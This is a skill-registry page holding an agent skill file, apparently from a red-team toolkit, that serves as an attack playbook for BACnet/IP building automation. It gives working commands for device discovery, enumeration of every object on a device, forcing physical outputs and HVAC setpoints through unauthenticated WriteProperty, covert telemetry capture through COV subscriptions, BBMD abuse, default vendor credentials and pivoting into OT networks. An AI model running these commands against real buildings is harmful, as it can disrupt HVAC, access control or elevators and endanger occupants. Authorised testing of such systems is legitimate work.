CtrlK
BlogDocsLog inGet started
Tessl Logo

ics-bacnet

BACnet/IP attack — UDP/47808 discovery via Who-Is broadcast, ReadProperty / WriteProperty without auth, BBMD abuse for remote reach, vendor-specific I-Am responses, COV (Change Of Value) subscription flood, Building Automation HMI pivot.

60

Quality

71%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md
SKILL.md
Quality
Evals
Security

BACnet/IP Attack — Building Automation

BACnet runs HVAC, lighting, access control, elevators in commercial buildings. UDP/47808 by default. No authentication in BACnet/IP.

Discover

# Send Who-Is broadcast (BACnet's auto-discovery)
nmap -sU -p 47808 --script=bacnet-info 10.0.0.0/24

# Or with bacnet-tools (apt: bacnet-stack)
bacwi                                  # who-is broadcast
bacrp 1234 8 1 85                      # ReadProperty: device 1234, object analog-value 1, property 85 (present-value)

# bacpypes (Python)
python3 -c '
from bacpypes.app import BIPSimpleApplication
from bacpypes.core import run, stop
from bacpypes.iocb import IOCB
from bacpypes.local.device import LocalDeviceObject
from bacpypes.apdu import WhoIsRequest
ld = LocalDeviceObject(objectName="x", objectIdentifier=599, vendorIdentifier=15)
app = BIPSimpleApplication(ld, "10.0.0.99")
req = WhoIsRequest(); req.pduDestination = ("10.0.0.255",47808)
iocb = IOCB(req); app.request_io(iocb)
# Devices respond with I-Am
'

What you get from discovery

Each I-Am response identifies:

  • Device Instance number (PK for that device)
  • Vendor ID (Honeywell=24, Siemens=7, Schneider=10, Johnson Controls=5, ...)
  • Max APDU + Segmentation support

Look up the vendor — vendor-specific objects often expose more (admin override, factory reset, etc.).

Read everything

# Object types to enumerate: analog-input(0), analog-output(1), analog-value(2),
# binary-input(3), binary-output(4), binary-value(5), device(8), schedule(17), program(16)

# Read all objects on a device:
bacrpm 1234 8 1 76    # property 76 = object-list

# Each entry: (object-type, instance). Then for each:
bacrp 1234 0 1 85     # analog-input 1, present-value

Write attacks

Override an output (the actual physical effect)

# Force binary-output 5 ON with priority 8 (manual operator)
bacwp 1234 4 5 85 8 -1 0   # write True at priority 8

# AnalogOutput (e.g., setpoint) to 40°C
bacwp 1234 1 3 85 8 -1 40.0

Subscribe to COV — Change Of Value (passive observation w/ delivery to attacker)

bacscov 1234 0 1 60    # Subscribe to analog-input 1, 60-sec lifetime
# Server pushes updates as values change — passive tap on building telemetry

Broadcast Storm (BBMD abuse)

BBMD (BACnet Broadcast Management Device) forwards broadcasts across IP subnets. A misconfigured BBMD lets you reach EVERY BACnet device in the org from a single network position:

# Send Who-Is with destination = BBMD's broadcast-distribution-table
# Each device replies with I-Am directly to attacker — fingerprints the whole estate

Vendor-specific overrides

  • Johnson Controls Metasys: device.system-status writable from network → restart device
  • Siemens Apogee: program-state writable → halt/run program objects
  • Honeywell Niagara: web UI on port 80/443 often unauth or default creds (tridium/tridium)

Pivot from BACnet to OT network

A compromised BACnet controller often has secondary network interfaces:

  • Trunk to RS-485 sensor net (BACnet MS/TP)
  • Modbus to a chiller / VFD
  • LonWorks for older lighting controls
  • KNX for European installations

Once you control the BACnet gateway, you can tunnel to those sub-protocols.

OPSEC + safety

  • Building safety: writes to HVAC setpoints affect physical occupants. Don't change setpoints by >2°C without sign-off; many buildings have safety-system interlocks but not all.
  • COV subscriptions are visible in BACnet IDS (Tridium, Wattics, Siemens Cybertect) but not in network IDS — quiet exfil channel for building telemetry.
  • Logs: BACnet has no audit by default. Some controllers log via Niagara web UI — check that side.

References

  • "BACnet/IP Vulnerabilities" — Stephen Hilt, Trend Micro
  • bacpypes docs — github.com/JoelBender/bacpypes
  • DEFCON 28 ICS Village "Building Automation Attacks" — Marc Rogers
  • ASHRAE 135 (the BACnet spec itself — reference what's writable per object type)
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.